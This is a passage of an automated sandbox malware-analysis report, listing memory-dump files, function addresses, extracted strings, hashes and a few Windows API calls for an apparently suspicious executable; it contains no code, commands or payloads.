Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 6ec741c77636b0c7e2fc0daf93e57df2920d1ec4e78f705c36ff159a27ecc86e
Instruction ID: 4c99820ca805b6e492be5c50c7e87261495da1439d13bc6bc3c678281e64705f
Opcode Fuzzy Hash: 6ec741c77636b0c7e2fc0daf93e57df2920d1ec4e78f705c36ff159a27ecc86e
Instruction Fuzzy Hash: BCE09B39B401046BCB14B768E859C9DFBF99E847147044196E511A7351EB709905C5D0

Function 00BA34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA34FC

Strings

version, xrefs: 00BA34E1
pScheduler, xrefs: 00BA34F4

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 2216a9404d7876db49800ded1f27a9b73cf89b82756218e64d9a393c16851154
Instruction ID: 87f3175a79645218d47b3343429afae225b23ae43fc44a1ed3e2bc8e333f1133
Opcode Fuzzy Hash: 2216a9404d7876db49800ded1f27a9b73cf89b82756218e64d9a393c16851154
Instruction Fuzzy Hash: F3E08634544208B7CF25FA54D847ADCBBE4DB15F49F14C1E2B811212A1AFF5978CDA81

Analysis Process: fba63623fe.exePID: 8000, Parent PID: 7764COMMON

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	1

Executed Functions

Function 052A44A8 Relevance: 234.6, Strings: 185, Instructions: 3396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 052A7628
,, xrefs: 052A4C50
?, xrefs: 052A466A
), xrefs: 052A7450
Ba3B, xrefs: 052A4539
U1nB, xrefs: 052A492C
R, xrefs: 052A6ED5
H, xrefs: 052A51AE
(, xrefs: 052A49AA
Q, xrefs: 052A69DB
Y, xrefs: 052A6AF1
S, xrefs: 052A48DE
a, xrefs: 052A5D52
(, xrefs: 052A545A
Y, xrefs: 052A4830
', xrefs: 052A47C8
8, xrefs: 052A7A66
=QB, xrefs: 052A4BF0
K, xrefs: 052A6B6D
%, xrefs: 052A7994
=, xrefs: 052A5B4A
&, xrefs: 052A4F0E
?, xrefs: 052A5D08
&, xrefs: 052A5B26
(, xrefs: 052A60E2
H, xrefs: 052A5E36
Ba3B, xrefs: 052A6723
U1nB, xrefs: 052A6C1B
U1nB, xrefs: 052A604E
T, xrefs: 052A7A98
<, xrefs: 052A7522
/UA, xrefs: 052A572E
1, xrefs: 052A670B
, xrefs: 052A4C8C
[, xrefs: 052A54F2
(, xrefs: 052A72EE
T, xrefs: 052A77AC
=, xrefs: 052A4532
B, xrefs: 052A67ED
[, xrefs: 052A4A2A
=QB, xrefs: 052A570A
?, xrefs: 052A68D5
#, xrefs: 052A6DBF
jnXB, xrefs: 052A4B72
R, xrefs: 052A4B7C
a, xrefs: 052A50E4
B, xrefs: 052A45B3
$, xrefs: 052A75D0
H, xrefs: 052A4768
z.{B, xrefs: 052A5AE4
Ba3B, xrefs: 052A5B56
Q, xrefs: 052A6E55
R, xrefs: 052A6294
F, xrefs: 052A77E2
R, xrefs: 052A6E61
Y, xrefs: 052A5F24
., xrefs: 052A5E9C
,, xrefs: 052A577C
P, xrefs: 052A4504
#, xrefs: 052A556A
", xrefs: 052A7B20
K, xrefs: 052A6024
D, xrefs: 052A53FE
K, xrefs: 052A6BF1
=, xrefs: 052A739E
P, xrefs: 052A4EEC
", xrefs: 052A7336
., xrefs: 052A6A69
#, xrefs: 052A4A90
K, xrefs: 052A6A29
R, xrefs: 052A56FE
a, xrefs: 052A691F
K, xrefs: 052A4898
F, xrefs: 052A772A
B, xrefs: 052A4FE0
R, xrefs: 052A6386
T, xrefs: 052A45EE
c, xrefs: 052A75C4
-, xrefs: 052A7ADA
Q, xrefs: 052A5E0E
3, xrefs: 052A7A72
Ba3B, xrefs: 052A4F36
), xrefs: 052A5E02
P, xrefs: 052A66CB
1, xrefs: 052A5B3E
#, xrefs: 052A61F2
+, xrefs: 052A75EA
D, xrefs: 052A76A6
J, xrefs: 052A5418
S, xrefs: 052A7AA4
', xrefs: 052A6A75
Q, xrefs: 052A6288
T, xrefs: 052A6843
jnXB, xrefs: 052A6EC9
', xrefs: 052A5220
S, xrefs: 052A5CC2
&, xrefs: 052A66F3
?, xrefs: 052A50A6
=QB, xrefs: 052A6F5F
a, xrefs: 052A7736
z.{B, xrefs: 052A66B1
S, xrefs: 052A6BBF
K, xrefs: 052A5FA0
, xrefs: 052A57C2
U1nB, xrefs: 052A53C6
J, xrefs: 052A4972
;X"B, xrefs: 052A7BBE
K, xrefs: 052A7792
9, xrefs: 052A7AB0
R, xrefs: 052A6308
R, xrefs: 052A6F53
Q, xrefs: 052A4746
P, xrefs: 052A5AFE
[, xrefs: 052A617A
D, xrefs: 052A6C53
), xrefs: 052A69CF
F, xrefs: 052A6BA1
., xrefs: 052A5214
(, xrefs: 052A6CAF
S, xrefs: 052A5FF2
., xrefs: 052A47BE
=QB, xrefs: 052A6392
/UA, xrefs: 052A6F83
D, xrefs: 052A6086
, xrefs: 052A644A
S, xrefs: 052A506A
K, xrefs: 052A5318
=, xrefs: 052A6717
,, xrefs: 052A6404
S, xrefs: 052A536A
R, xrefs: 052A5680
&, xrefs: 052A451D
a, xrefs: 052A46A8
H, xrefs: 052A6A03
, xrefs: 052A7017
K, xrefs: 052A4908
), xrefs: 052A473C
T, xrefs: 052A502A
/UA, xrefs: 052A4C0E
%, xrefs: 052A7B98
Y, xrefs: 052A529C
', xrefs: 052A5EA8
K, xrefs: 052A539C
R, xrefs: 052A560C
ga,A, xrefs: 052A7C06
:^B, xrefs: 052A7914
), xrefs: 052A517A
J, xrefs: 052A60A0
/UA, xrefs: 052A63B6
C, xrefs: 052A76B2
2, xrefs: 052A7884
:, xrefs: 052A7C3C
F, xrefs: 052A534C
ta[B, xrefs: 052A7BEC
Q, xrefs: 052A5600
S, xrefs: 052A688F
K, xrefs: 052A4788
J, xrefs: 052A6C6D
K, xrefs: 052A5E5C
jnXB, xrefs: 052A62FC
S, xrefs: 052A462E
z.{B, xrefs: 052A44F4
T, xrefs: 052A5C76
R, xrefs: 052A4BE6
Q, xrefs: 052A4B10
_, xrefs: 052A764E
K, xrefs: 052A51D4
", xrefs: 052A7BA4
E, xrefs: 052A7504
B, xrefs: 052A5C20
F, xrefs: 052A5FD4
,, xrefs: 052A6FD1
1, xrefs: 052A4F22
F, xrefs: 052A48C4
[, xrefs: 052A6D47
R, xrefs: 052A4B1A
1, xrefs: 052A452B
jnXB, xrefs: 052A5674
=, xrefs: 052A4F2C
,, xrefs: 052A7320
=, xrefs: 052A771E
z.{B, xrefs: 052A4ED6
D, xrefs: 052A495C
`, xrefs: 052A75A0
Q, xrefs: 052A5186

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID: $ $ $ $"$"$"$#$#$#$#$$$%$%$&$&$&$&$'$'$'$'$($($($($($)$)$)$)$)$+$,$,$,$,$,$-$.$.$.$.$/UA$/UA$/UA$/UA$1$1$1$1$2$3$6$8$9$:$;X"B$<$=$=$=$=$=$=$=QB$=QB$=QB$=QB$?$?$?$?$B$B$B$B$Ba3B$Ba3B$Ba3B$Ba3B$C$D$D$D$D$D$E$F$F$F$F$F$F$H$H$H$H$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$K$K$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$U1nB$U1nB$U1nB$U1nB$Y$Y$Y$Y$[$[$[$[$_$`$a$a$a$a$a$c$ga,A$jnXB$jnXB$jnXB$jnXB$ta[B$z.{B$z.{B$z.{B$z.{B$:^B
API String ID: 0-1587016709
Opcode ID: 92592e058fbe9a861f18f2444b0a0164c4071c7daa3bc8156c1398e772bb2f85
Instruction ID: 456d3d4d31a037be179efeb34fe2f72c7c60533f903f8fe67ee84ea6dd85fc69
Opcode Fuzzy Hash: 92592e058fbe9a861f18f2444b0a0164c4071c7daa3bc8156c1398e772bb2f85
Instruction Fuzzy Hash: 0453A0B4D466298BEB60DF25D940BAAFBB1FB56304F00A1E9D408B3344DB759E84DF48

Function 052A44B8 Relevance: 234.6, Strings: 185, Instructions: 3391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 052A7628
,, xrefs: 052A4C50
?, xrefs: 052A466A
), xrefs: 052A7450
Ba3B, xrefs: 052A4539
U1nB, xrefs: 052A492C
R, xrefs: 052A6ED5
H, xrefs: 052A51AE
(, xrefs: 052A49AA
Q, xrefs: 052A69DB
Y, xrefs: 052A6AF1
S, xrefs: 052A48DE
a, xrefs: 052A5D52
(, xrefs: 052A545A
Y, xrefs: 052A4830
', xrefs: 052A47C8
8, xrefs: 052A7A66
=QB, xrefs: 052A4BF0
K, xrefs: 052A6B6D
%, xrefs: 052A7994
=, xrefs: 052A5B4A
&, xrefs: 052A4F0E
?, xrefs: 052A5D08
&, xrefs: 052A5B26
(, xrefs: 052A60E2
H, xrefs: 052A5E36
Ba3B, xrefs: 052A6723
U1nB, xrefs: 052A6C1B
U1nB, xrefs: 052A604E
T, xrefs: 052A7A98
<, xrefs: 052A7522
/UA, xrefs: 052A572E
1, xrefs: 052A670B
, xrefs: 052A4C8C
[, xrefs: 052A54F2
(, xrefs: 052A72EE
T, xrefs: 052A77AC
=, xrefs: 052A4532
B, xrefs: 052A67ED
[, xrefs: 052A4A2A
=QB, xrefs: 052A570A
?, xrefs: 052A68D5
#, xrefs: 052A6DBF
jnXB, xrefs: 052A4B72
R, xrefs: 052A4B7C
a, xrefs: 052A50E4
B, xrefs: 052A45B3
$, xrefs: 052A75D0
H, xrefs: 052A4768
z.{B, xrefs: 052A5AE4
Ba3B, xrefs: 052A5B56
Q, xrefs: 052A6E55
R, xrefs: 052A6294
F, xrefs: 052A77E2
R, xrefs: 052A6E61
Y, xrefs: 052A5F24
., xrefs: 052A5E9C
,, xrefs: 052A577C
P, xrefs: 052A4504
#, xrefs: 052A556A
", xrefs: 052A7B20
K, xrefs: 052A6024
D, xrefs: 052A53FE
K, xrefs: 052A6BF1
=, xrefs: 052A739E
P, xrefs: 052A4EEC
", xrefs: 052A7336
., xrefs: 052A6A69
#, xrefs: 052A4A90
K, xrefs: 052A6A29
R, xrefs: 052A56FE
a, xrefs: 052A691F
K, xrefs: 052A4898
F, xrefs: 052A772A
B, xrefs: 052A4FE0
R, xrefs: 052A6386
T, xrefs: 052A45EE
c, xrefs: 052A75C4
-, xrefs: 052A7ADA
Q, xrefs: 052A5E0E
3, xrefs: 052A7A72
Ba3B, xrefs: 052A4F36
), xrefs: 052A5E02
P, xrefs: 052A66CB
1, xrefs: 052A5B3E
#, xrefs: 052A61F2
+, xrefs: 052A75EA
D, xrefs: 052A76A6
J, xrefs: 052A5418
S, xrefs: 052A7AA4
', xrefs: 052A6A75
Q, xrefs: 052A6288
T, xrefs: 052A6843
jnXB, xrefs: 052A6EC9
', xrefs: 052A5220
S, xrefs: 052A5CC2
&, xrefs: 052A66F3
?, xrefs: 052A50A6
=QB, xrefs: 052A6F5F
a, xrefs: 052A7736
z.{B, xrefs: 052A66B1
S, xrefs: 052A6BBF
K, xrefs: 052A5FA0
, xrefs: 052A57C2
U1nB, xrefs: 052A53C6
J, xrefs: 052A4972
;X"B, xrefs: 052A7BBE
K, xrefs: 052A7792
9, xrefs: 052A7AB0
R, xrefs: 052A6308
R, xrefs: 052A6F53
Q, xrefs: 052A4746
P, xrefs: 052A5AFE
[, xrefs: 052A617A
D, xrefs: 052A6C53
), xrefs: 052A69CF
F, xrefs: 052A6BA1
., xrefs: 052A5214
(, xrefs: 052A6CAF
S, xrefs: 052A5FF2
., xrefs: 052A47BE
=QB, xrefs: 052A6392
/UA, xrefs: 052A6F83
D, xrefs: 052A6086
, xrefs: 052A644A
S, xrefs: 052A506A
K, xrefs: 052A5318
=, xrefs: 052A6717
,, xrefs: 052A6404
S, xrefs: 052A536A
R, xrefs: 052A5680
&, xrefs: 052A451D
a, xrefs: 052A46A8
H, xrefs: 052A6A03
, xrefs: 052A7017
K, xrefs: 052A4908
), xrefs: 052A473C
T, xrefs: 052A502A
/UA, xrefs: 052A4C0E
%, xrefs: 052A7B98
Y, xrefs: 052A529C
', xrefs: 052A5EA8
K, xrefs: 052A539C
R, xrefs: 052A560C
ga,A, xrefs: 052A7C06
:^B, xrefs: 052A7914
), xrefs: 052A517A
J, xrefs: 052A60A0
/UA, xrefs: 052A63B6
C, xrefs: 052A76B2
2, xrefs: 052A7884
:, xrefs: 052A7C3C
F, xrefs: 052A534C
ta[B, xrefs: 052A7BEC
Q, xrefs: 052A5600
S, xrefs: 052A688F
K, xrefs: 052A4788
J, xrefs: 052A6C6D
K, xrefs: 052A5E5C
jnXB, xrefs: 052A62FC
S, xrefs: 052A462E
z.{B, xrefs: 052A44F4
T, xrefs: 052A5C76
R, xrefs: 052A4BE6
Q, xrefs: 052A4B10
_, xrefs: 052A764E
K, xrefs: 052A51D4
", xrefs: 052A7BA4
E, xrefs: 052A7504
B, xrefs: 052A5C20
F, xrefs: 052A5FD4
,, xrefs: 052A6FD1
1, xrefs: 052A4F22
F, xrefs: 052A48C4
[, xrefs: 052A6D47
R, xrefs: 052A4B1A
1, xrefs: 052A452B
jnXB, xrefs: 052A5674
=, xrefs: 052A4F2C
,, xrefs: 052A7320
=, xrefs: 052A771E
z.{B, xrefs: 052A4ED6
D, xrefs: 052A495C
`, xrefs: 052A75A0
Q, xrefs: 052A5186

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID: $ $ $ $"$"$"$#$#$#$#$$$%$%$&$&$&$&$'$'$'$'$($($($($($)$)$)$)$)$+$,$,$,$,$,$-$.$.$.$.$/UA$/UA$/UA$/UA$1$1$1$1$2$3$6$8$9$:$;X"B$<$=$=$=$=$=$=$=QB$=QB$=QB$=QB$?$?$?$?$B$B$B$B$Ba3B$Ba3B$Ba3B$Ba3B$C$D$D$D$D$D$E$F$F$F$F$F$F$H$H$H$H$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$K$K$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$U1nB$U1nB$U1nB$U1nB$Y$Y$Y$Y$[$[$[$[$_$`$a$a$a$a$a$c$ga,A$jnXB$jnXB$jnXB$jnXB$ta[B$z.{B$z.{B$z.{B$z.{B$:^B
API String ID: 0-1587016709
Opcode ID: c220f952123afb34f20215e10ed011a8656f46b98125a3229efc36441a42e7ad
Instruction ID: 4f8525f893564dd07a96374260cf40428f508839bb1b423757f06573bc19e13d
Opcode Fuzzy Hash: c220f952123afb34f20215e10ed011a8656f46b98125a3229efc36441a42e7ad
Instruction Fuzzy Hash: 0253A0B4D466298BEB60DF25D940BAAFBB1FB56304F00A1E9D408B3344DB759E84DF48

Function 052A0040 Relevance: 15.1, Strings: 10, Instructions: 2597COMMON

Download Yara Rule

Strings

$jq, xrefs: 052A2CE8
4'jq, xrefs: 052A101C
4'jq, xrefs: 052A0E94
4'jq, xrefs: 052A1F00
4'jq, xrefs: 052A2C3B
4'jq, xrefs: 052A2C96
4|oq, xrefs: 052A2E2B
(ojq, xrefs: 052A0116
4|oq, xrefs: 052A2E10
4'jq, xrefs: 052A2CC6

Memory Dump Source

Source File: 00000007.00000002.2802287965.00000000052A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52a0000_fba63623fe.jbxd

Similarity

API ID:
String ID: (ojq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4|oq$4|oq$$jq
API String ID: 0-2937315193
Opcode ID: 0bba266449c900f1be147b8c7b6b62a5ddbaeba7a26669a36e45d3aed2e66652
Instruction ID: 172b31580cac697407e130108f0abc9c4656d76c0208514d0586970482784772
Opcode Fuzzy Hash: 0bba266449c900f1be147b8c7b6b62a5ddbaeba7a26669a36e45d3aed2e66652
Instruction Fuzzy Hash: FD431A75A10219CFCB28DF68C998A9DB7B6BF89310F1585D9D809AB365DB30ED81CF40

Function 02C3EF98 Relevance: 7.1, Strings: 5, Instructions: 831COMMON

Download Yara Rule

Strings

Hnq, xrefs: 02C3F9C0
(ojq, xrefs: 02C3F953
,nq, xrefs: 02C3F6D7
,nq, xrefs: 02C3F6E7
(ojq, xrefs: 02C3F949

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID: (ojq$(ojq$,nq$,nq$Hnq
API String ID: 0-177556883
Opcode ID: 3c3fc4b1d1999a0a731a3e27afe14964557a182f4222cf12bde28af87623e086
Instruction ID: f49cf63718cb006eed162901681070226047d19047817813afa8f755e0da5ad9
Opcode Fuzzy Hash: 3c3fc4b1d1999a0a731a3e27afe14964557a182f4222cf12bde28af87623e086
Instruction Fuzzy Hash: A5629031E002199FCB19DF69D884AAEBBB2BF88314B15896DE805DB775CB34DD41CB90

Function 02C3CF20 Relevance: .4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c076cc87c35c755ea5c6f768d0e74d4dc0a64f399e47f4483ae4f8d49b4739
Instruction ID: 1a85bc081517c7c47cb4ce0f09abaa302f49e7bfe62a9a60f1578ebc27b793a1
Opcode Fuzzy Hash: 87c076cc87c35c755ea5c6f768d0e74d4dc0a64f399e47f4483ae4f8d49b4739
Instruction Fuzzy Hash: 08128E74E00628CFDB65DF69C994B9DBBB2BF89304F1085AAD40AA7361DB305E85CF50

Function 011EDB30 Relevance: 1.6, APIs: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 011EDC39

Memory Dump Source

Source File: 00000007.00000002.2798756677.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11e0000_fba63623fe.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7b2b9e4bcbf6a9de59621fb814a3681f3a9f7029a8131c1053d84136e85f729c
Instruction ID: 046953689cef547e99e2451fca23c455389207f58adf9707e288c5a3d801610c
Opcode Fuzzy Hash: 7b2b9e4bcbf6a9de59621fb814a3681f3a9f7029a8131c1053d84136e85f729c
Instruction Fuzzy Hash: 1441E1B0D006588FDF14CFE9D989B9DBBF1FB49300F10912AE819AB294D7B99845CF45

Function 011EDEA8 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 011EDF4C

Memory Dump Source

Source File: 00000007.00000002.2798756677.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11e0000_fba63623fe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5068016e7937972db1f53672c6b8f361efdaddd7e8a1c93d4e2a54b54a232df1
Instruction ID: 394f6b82e02c57900a85a350154c2467535ef5b3683d0da4fd935b73e374bc36
Opcode Fuzzy Hash: 5068016e7937972db1f53672c6b8f361efdaddd7e8a1c93d4e2a54b54a232df1
Instruction Fuzzy Hash: D531A6B4D012489FCF14CFEAD984AAEFBF1BF49310F10942AE818B7210D735A9458F94

Function 011EF0B8 Relevance: 1.3, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 011EF157

Memory Dump Source

Source File: 00000007.00000002.2798756677.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11e0000_fba63623fe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 09f85c31918e067591782f5add96355d8aed296592652bf15443064f8c5c6d71
Instruction ID: 8b5c7f84edfec2a80027fb94e86effa74ce96c4929ff209bcd64d306e99af92e
Opcode Fuzzy Hash: 09f85c31918e067591782f5add96355d8aed296592652bf15443064f8c5c6d71
Instruction Fuzzy Hash: A53197B4D012489FCB14CFA9D984AAEFBF5AF49310F14942AE819B7210D735A945CF94

Function 02C3E450 Relevance: 1.3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hnq, xrefs: 02C3E4E4

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID: Hnq
API String ID: 0-2896580000
Opcode ID: 238f7804b67aedb00d6371ba37ed2566d02fa1245a675418aad3ff116c32f6eb
Instruction ID: 2caaa05512f49d0df82b2c11dbde884cbc4efd00d36cd5c251293727cfddf1d0
Opcode Fuzzy Hash: 238f7804b67aedb00d6371ba37ed2566d02fa1245a675418aad3ff116c32f6eb
Instruction Fuzzy Hash: 49212731A04244AFE742AF749C55BFE7F76EF89300F0085A6E445DB291DE348E46D791

Function 02C32D1A Relevance: 1.3, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c, xrefs: 02C33900

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: dca399bfaa7f33a9783fa14a242782b3164f6fd20887e243bde27a56925697c6
Instruction ID: 5a7ad138b76ce597a8ca1981a6796e9da7f9e9373c54c46ffd10f2c041d28cfd
Opcode Fuzzy Hash: dca399bfaa7f33a9783fa14a242782b3164f6fd20887e243bde27a56925697c6
Instruction Fuzzy Hash: CD11E874905218CFEB21DF68DD98B98BBF5FB44309F10499AD10AA72A5C7389EC4CF04

Function 02C311E8 Relevance: 1.3, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

w, xrefs: 02C311F5

Memory Dump Source

Source File: 00000007.00000002.2799241685.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2c30000_fba63623fe.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
